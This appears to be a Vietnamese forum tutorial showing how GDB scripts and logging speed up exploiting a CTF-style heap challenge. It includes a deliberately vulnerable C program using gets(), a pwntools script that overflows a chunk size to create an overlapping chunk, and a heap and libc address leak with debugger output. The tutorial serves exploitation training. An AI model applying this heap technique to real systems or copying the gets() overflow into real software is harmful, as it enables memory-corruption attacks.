T
tmnt53
Guest
GDB: Tăng tốc debug bằng script
T
- tmnt53
- 2.691 Lượt xem
Giới thiệu: trong quá trình debug, ta hay phải làm một công việc lặp đi lặp lại nhiều lần. Chẳng hạn, khi exploit một bài CTF, ta hay phải chạy đi chạy lại chương trình, đặt lại breakpoint nhiều lần. Hơn nữa, đối với các bài yêu cầu chạy thời gian thực, thì việc dừng tại breakpoint sẽ làm chương trình chạy không được “thật”. Do đó, để tăng tốc quá trình debug, cũng như giải quyết các bài yêu cầu thời gian thực, GDB hỗ trợ script, ghi log. Bằng cách chạy file script trước khi chạy chương trình, rồi chỉ việc phân tích log, ta có thể debug dễ dàng hơn.
Trong khuôn khổ bài viết này, mình sẽ chỉ giới thiệu những script mà mình thường áp dụng, qua một chương trình demo.
Kiến thức cần có:
Tắt ASLR để dễ debug.
Mô tả chương trình: cho phép tạo/sửa/xóa các message trong một danh sách gMsgs[100].
Ví dụ làm crash chương trình:
Log làm crash:
Trong khuôn khổ bài viết, mình sẽ chỉ demo đến phần leak địa chỉ của heap.
Trước hết, ta phân phát 3 message kích thước 0x100B
File exploit.py
[/FONT][/COLOR][/B]
Để theo dõi cách heap được phân phát, khi exploit.py dừng tại raw_input, ta gdb attach vào, chạy file mScript bằng lệnh source, và continue gdb.
File mScript:
[/FONT][/COLOR][/B]
Log gdb:
File log.txt thu được:
Từ log trên, ta có thể thấy các message được phân phát liền nhau. Kiểm tra xem top chunk có ở ngay sau chunk2 không:
Top chunk đằng sau chunk2. Do đó, ta có kịch bản biến chunk2 thành forgotten chunk như sau:
File mScript:
[/FONT][/COLOR][/B]
Log.txt sau khi chạy với exploit.py và mScript trên:
Nhận xét: kịch bản hoạt động. chunk1 bị free đã trở thành top chunk (0x00020ef9 là kích thước top chunk).
Giờ việc leak địa chỉ main_arena hay địa chỉ heap thật dễ dàng. Ví dụ một kịch bản leak địa chỉ heap:
Ta phân phát thêm chunk3 -> chunk6. Chunk4 sẽ trùng khít với chunk2. Ta free chunk6, rồi free chunk4. Như vậy, sau khi chunk4 bị free, fd, bk của chunk4 sẽ trỏ tới main_arean và địa chỉ của chunk6.
Và khi ta dùng Display để in ra chunk2 thì ta leak được các giá trị này:
Kết luận: Bằng việc dùng gdb script, việc khai thác được nhanh chóng hơn. Bài viết của mình xin kết thúc ở đây.
Trong khuôn khổ bài viết này, mình sẽ chỉ giới thiệu những script mà mình thường áp dụng, qua một chương trình demo.
Kiến thức cần có:
- Phù hợp với những bạn đã có kiến thức exploit nền tảng, quen với việc debug bằng gdb. Nhất là các bạn đã làm các bài pwn CTF.
- Chương trình demo có nhắc đến kỹ thuật khai thác heap. Các bạn đã làm dạng này sẽ dễ hiểu hơn
Tắt ASLR để dễ debug.
Mô tả chương trình: cho phép tạo/sửa/xóa các message trong một danh sách gMsgs[100].
- Add: cho phép malloc với kích thước bất kỳ.
- Remove: cho phép free message.
- Edit: cho phép sửa message.
- Display: in ra nội dung message.
Ví dụ làm crash chương trình:
- Phân phát message 0 và message 1.
- Edit message 0 sao cho tràn lên cả message 1.
- Free message 1 => crash
Mã:
[B][COLOR=#0000FF][FONT=courier new]#include
#include
char* gMsgs[100];
void Add()
{
printf("Input offset of the message (< 100): ");
unsigned offset, size;
scanf("%u", &offset);
getchar();
if (offset >= 100 || gMsgs[offset]) {
printf("Invalid offset\n");
return;
} else {
printf("Input size of the message: ");
scanf("%u", &size);
getchar();
gMsgs[offset] = (char*)malloc(size);
if (gMsgs[offset] == NULL) {
printf("Cannot allocate memory\n");
exit(1);
} else {
printf("Input message: ");
gets(gMsgs[offset]);
}
}
}
void Edit()
{
printf("Input offset of the message (< 100): ");
unsigned offset, size;
scanf("%u", &offset);
getchar();
if (offset >= 100 || gMsgs[offset] == NULL) {
printf("Invalid offset\n");
return;
} else {
printf("Input message: ");
gets(gMsgs[offset]);
}
}
void Remove()
{
printf("Input offset of the message (< 100): ");
unsigned offset, size;
scanf("%u", &offset);
getchar();
if (offset >= 100 || gMsgs[offset] == NULL) {
printf("Invalid offset\n");
return;
} else {
free(gMsgs[offset]);
gMsgs[offset] = NULL;
}
}
void Display()
{
printf("Input offset of the message (< 100): ");
unsigned offset, size;
scanf("%u", &offset);
getchar();
if (offset >= 100 || gMsgs[offset] == NULL) {
printf("Invalid offset\n");
return;
} else {
printf("Message: %s\n", gMsgs[offset]);
}
}
int main()
{
setbuf(stdout, NULL);
setbuf(stdin, NULL);
while(1) {
printf("Menu:\n");
printf("1. Add\n");
printf("2. Edit\n");
printf("3. Remove\n");
printf("4. Display\n");
printf("5. Exit\n");
printf(">>> ");
unsigned op;
scanf("%u", &op);
getchar();
switch(op) {
case 1:
Add();
break;
case 2:
Edit();
break;
case 3:
Remove();
break;
case 4:
Display();
break;
default:
exit(0);
break;
}
}
}[/FONT][/COLOR][/B]
Log làm crash:
Mã:
[FONT=courier new]Menu:
1. Add
2. Edit
3. Remove
4. Display
5. Exit
>>> 1
Input offset of the message (< 100): 0
Input size of the message: 20
Input message: a
Menu:
1. Add
2. Edit
3. Remove
4. Display
5. Exit
>>> 1
Input offset of the message (< 100): 1
Input size of the message: 20
Input message: b
Menu:
1. Add
2. Edit
3. Remove
4. Display
5. Exit
>>> 2
Input offset of the message (< 100): 0
Input message: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaa
Menu:
1. Add
2. Edit
3. Remove
4. Display
5. Exit
>>> 3
Input offset of the message (< 100): 1
Segmentation fault (core dumped)[/FONT]
Trong khuôn khổ bài viết, mình sẽ chỉ demo đến phần leak địa chỉ của heap.
Trước hết, ta phân phát 3 message kích thước 0x100B
File exploit.py
Mã:
[B][COLOR=#0000FF][FONT=courier new]#coding: utf-8
from pwn import *
p = process("./heap_unlink")
…
raw_input("waiting")
add(0, 0x100, "chunk0")
add(1, 0x100, "chunk1")
add(2, 0x100, "chunk2")
p.interactive()
Để theo dõi cách heap được phân phát, khi exploit.py dừng tại raw_input, ta gdb attach vào, chạy file mScript bằng lệnh source, và continue gdb.
File mScript:
Mã:
[B][COLOR=#0000FF][FONT=courier new]# cài đặt file log.txt làm file log
shell echo > log.txt
set logging file log.txt
set logging on
# xóa breakpoint cũ
del
# ngăn không hỏi khi in ra nhiều hơn một trang dữ liệu
set pagination off
# đặt breakpoint tại 0x0804868E - địa chỉ sau lệnh 'call malloc' của hàm Add, để in ra header của chunk được phân phát,
break *0x0804868E
commands
printf "-----------\nmalloc: "
x/4wx $eax-8
continue
end
Log gdb:
Mã:
(gdb) source mScript
Breakpoint 1 at 0x804868e
(gdb) i b
Num Type Disp Enb Address What
1 breakpoint keep y 0x0804868e
printf "-----------\nmalloc: "
x/4wx $eax-8
continue
(gdb) c
Continuing.
Mã:
Breakpoint 1 at 0x804868e
Num Type Disp Enb Address What
1 breakpoint keep y 0x0804868e
printf "-----------\nmalloc: "
x/4wx $eax-8
continue
Continuing.
Breakpoint 1, 0x0804868e in Add ()
-----------
malloc: 0x83f1000: 0x00000000 0x00000109 0x00000000 0x00000000
Breakpoint 1, 0x0804868e in Add ()
-----------
malloc: 0x83f1108: 0x00000000 0x00000109 0x00000000 0x00000000
Breakpoint 1, 0x0804868e in Add ()
-----------
malloc: 0x83f1210: 0x00000000 0x00000109 0x00000000 0x00000000
Từ log trên, ta có thể thấy các message được phân phát liền nhau. Kiểm tra xem top chunk có ở ngay sau chunk2 không:
Mã:
(gdb) x /4wx 0x8b14210+0x108
0x8b14318: 0x00000000 0x00020ce9 0x00000000 0x00000000
(gdb)
Top chunk đằng sau chunk2. Do đó, ta có kịch bản biến chunk2 thành forgotten chunk như sau:
- Phân phát chunk0, chunk1, chunk2
- Edit chunk0, đè lên size của chunk1, khiến size chunk 1 bằng tổng size chunk1 và chunk2 => chunk1 trở thành chunk liền trước top chunk
- Free chunk1 => heap chỉ còn chunk0 và top chunk, chunk2 bị lãng quên.
Mã:
[B][COLOR=#0000FF][FONT=courier new]…
raw_input("waiting")
add(0, 0x100, "chunk0")
add(1, 0x100, "chunk1")
add(2, 0x100, "chunk2")
edit(0, 'A'*0x104+p32(0x211))
remove(1)
p.interactive()[/FONT][/COLOR][/B]
Mã:
[B][COLOR=#0000FF][FONT=courier new]…
# đặt breakpoint tại 0x0804868E - địa chỉ sau lệnh 'call malloc' của hàm Add, để in ra header của chunk được phân phát
break *0x0804868E
commands
printf "-----------\nmalloc: "
x/4wx $eax-8
continue
end
# đặt breakpoint sau 'call gets' trong Add để in ra msg
break *0x080486D9
commands
printf "Msg: %s\n", *(int*)($esp)
continue
end
# đặt breakpoint tại 'call free' trong Remove, để in ra msg bị remove
break *0x080487A8
commands
printf "------------\nfree msg: %s\n", $eax
set $removed = $eax
x/4wx $eax-8
continue
end
# đặt breakpoint sau 'call free' trong Remove, để in ra header sau khi bị remove
break *0x080487AD
commands
printf "after removed: "
x/4wx $removed-8
continue
end
Log.txt sau khi chạy với exploit.py và mScript trên:
Mã:
Breakpoint 30, 0x0804868e in Add ()
-----------
malloc: 0x804b000: 0x00000000 0x00000109 0x00000000 0x00000000
Breakpoint 31, 0x080486d9 in Add ()
Msg: chunk0
Breakpoint 30, 0x0804868e in Add ()
-----------
malloc: 0x804b108: 0x00000000 0x00000109 0x00000000 0x00000000
Breakpoint 31, 0x080486d9 in Add ()
Msg: chunk1
Breakpoint 30, 0x0804868e in Add ()
-----------
malloc: 0x804b210: 0x00000000 0x00000109 0x00000000 0x00000000
Breakpoint 31, 0x080486d9 in Add ()
Msg: chunk2
Breakpoint 32, 0x080487a8 in Remove ()
------------
free msg:
0x804b108: 0x41414141 0x00000211 0x6e756800 0x0000316b
Breakpoint 33, 0x080487ad in Remove ()
after removed: 0x804b108: 0x41414141 [COLOR=#FF0000]0x00020ef9[/COLOR] 0x6e756800 0x0000316b
Nhận xét: kịch bản hoạt động. chunk1 bị free đã trở thành top chunk (0x00020ef9 là kích thước top chunk).
Giờ việc leak địa chỉ main_arena hay địa chỉ heap thật dễ dàng. Ví dụ một kịch bản leak địa chỉ heap:
Mã:
[B][FONT=courier new][COLOR=#0000FF]raw_input("waiting")
add(0, 0x100, "chunk0")
add(1, 0x100, "chunk1")
add(2, 0x100, "chunk2")
edit(0, 'A'*0x104+p32(0x211))
remove(1)
add(3, 0x100, "chunk3")
add(4, 0x100, "chunk4")
add(5, 0x100, "chunk5")
add(6, 0x100, "chunk6")
add(7, 0x100, "chunk7")
remove(6)
remove(4)
m = display(2)
print [m]
p.interactive()[/COLOR][/FONT][/B]
Ta phân phát thêm chunk3 -> chunk6. Chunk4 sẽ trùng khít với chunk2. Ta free chunk6, rồi free chunk4. Như vậy, sau khi chunk4 bị free, fd, bk của chunk4 sẽ trỏ tới main_arean và địa chỉ của chunk6.
Mã:
Breakpoint 34, 0x0804868e in Add ()
-----------
malloc: 0x804b000: 0x00000000 0x00000109 0x00000000 0x00000000
Breakpoint 35, 0x080486d9 in Add ()
Msg: chunk0
Breakpoint 34, 0x0804868e in Add ()
-----------
malloc: 0x804b108: 0x00000000 0x00000109 0x00000000 0x00000000
Breakpoint 35, 0x080486d9 in Add ()
Msg: chunk1
Breakpoint 34, 0x0804868e in Add ()
-----------
malloc: 0x804b210: 0x00000000 0x00000109 0x00000000 0x00000000
Breakpoint 35, 0x080486d9 in Add ()
Msg: chunk2
Breakpoint 36, 0x080487a8 in Remove ()
------------
free msg:
0x804b108: 0x41414141 0x00000211 0x6e756800 0x0000316b
Breakpoint 37, 0x080487ad in Remove ()
after removed: 0x804b108: 0x41414141 0x00020ef9 0x6e756800 0x0000316b
Breakpoint 34, 0x0804868e in Add ()
-----------
malloc: 0x804b108: 0x41414141 0x00000109 0x6e756800 0x0000316b
Breakpoint 35, 0x080486d9 in Add ()
Msg: chunk3
Breakpoint 34, 0x0804868e in Add ()
-----------
malloc: 0x804b210: 0x00000000 0x00000109 0x6e756863 0x0000326b
Breakpoint 35, 0x080486d9 in Add ()
Msg: chunk4
Breakpoint 34, 0x0804868e in Add ()
-----------
malloc: 0x804b318: 0x00000000 0x00000109 0x00000000 0x00000000
Breakpoint 35, 0x080486d9 in Add ()
Msg: chunk5
Breakpoint 34, 0x0804868e in Add ()
-----------
malloc: 0x804b420: 0x00000000 0x00000109 0x00000000 0x00000000
Breakpoint 35, 0x080486d9 in Add ()
Msg: chunk6
Breakpoint 34, 0x0804868e in Add ()
-----------
malloc: 0x804b528: 0x00000000 0x00000109 0x00000000 0x00000000
Breakpoint 35, 0x080486d9 in Add ()
Msg: chunk7
Breakpoint 36, 0x080487a8 in Remove ()
------------
free msg: chunk6
0x804b420: 0x00000000 0x00000109 0x6e756863 0x0000366b
Breakpoint 37, 0x080487ad in Remove ()
after removed: 0x804b420: 0x00000000 0x00000109 0xf7fb9450 0xf7fb9450
Breakpoint 36, 0x080487a8 in Remove ()
------------
free msg: chunk4
0x804b210: 0x00000000 0x00000109 0x6e756863 0x0000346b
Breakpoint 37, 0x080487ad in Remove ()
after removed: 0x804b210: 0x00000000 0x00000109 [COLOR=#FF0000]0x0804b420 0xf7fb9450[/COLOR]
Mã:
Menu:
1. Add
2. Edit
3. Remove
4. Display
5. Exit
>>>
4
Input offset of the message (< 100):
2
Message: \xb4\x0P\x94�
['Message: [COLOR=#FF0000] \xb4\x04\x08P\x94\xfb\xf7[/COLOR]\n']
Kết luận: Bằng việc dùng gdb script, việc khai thác được nhanh chóng hơn. Bài viết của mình xin kết thúc ở đây.
Chỉnh sửa lần cuối bởi người điều hành: